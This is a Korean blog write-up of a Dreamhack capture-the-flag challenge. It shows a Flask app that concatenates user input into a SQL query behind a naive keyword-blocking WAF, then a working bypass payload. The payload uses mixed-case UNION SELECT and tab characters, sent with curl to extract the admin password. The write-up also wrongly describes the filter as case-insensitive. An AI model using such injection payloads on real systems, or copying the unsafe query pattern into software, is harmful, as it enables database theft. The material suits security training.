Wargame/Web

[Dreamhack] sql injection bypass WAF

월루이 2023. 5. 24.

 

문제

 

flag : DH{} 형식

 

init.sql

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;

 

 

app.py

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

 

 


풀이

더보기

 

코드에서 필터링 부분을 보자

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

 

 

대소문자 구별 없이 단어를 필터링 하는 것을 볼 수 있다.

 

union, select, from, admin : 대+소문자 섞어서

공백 : %09(/tab)

 

 

 

 

 

 

 

1. 문제페이지에서 직접 풀기

굳이 curl로 풀 필요 없다. 

문제페이지에 직접 들어가서 위의 내용 작성 시, %가 이중 인코딩돼서 안된다.

=> %09 대신에 실제로 /tab만큼의 빈칸을 넣어주면 된다.

 

 

 

위처럼 작성 후, 제출하면 아래처럼 flag 값이 뜬다.

 

 

 

 

 

 

2. curl 이용하기

 

curl을 이용해서 쿼리를 날려보자

공백대신 %09(/tab) 넣기

 

curl http://host3.dreamhack.games:18427/?uid='%09Union%09SelecT%09null,upw,null%09From%09user%09where%09uid='Admin

 

 

 

 

'Wargame > Web' 카테고리의 다른 글

[Dreamhack] web-deserialize-python  (0) 2023.06.22
[Dreamhack] login-1  (0) 2023.06.20
[Dreamhack] file-csp-1  (0) 2022.07.06
[Dreamhack] session  (0) 2022.07.04
[Dreamhack] File Vulnerability Advanced for linux  (0) 2022.06.23

댓글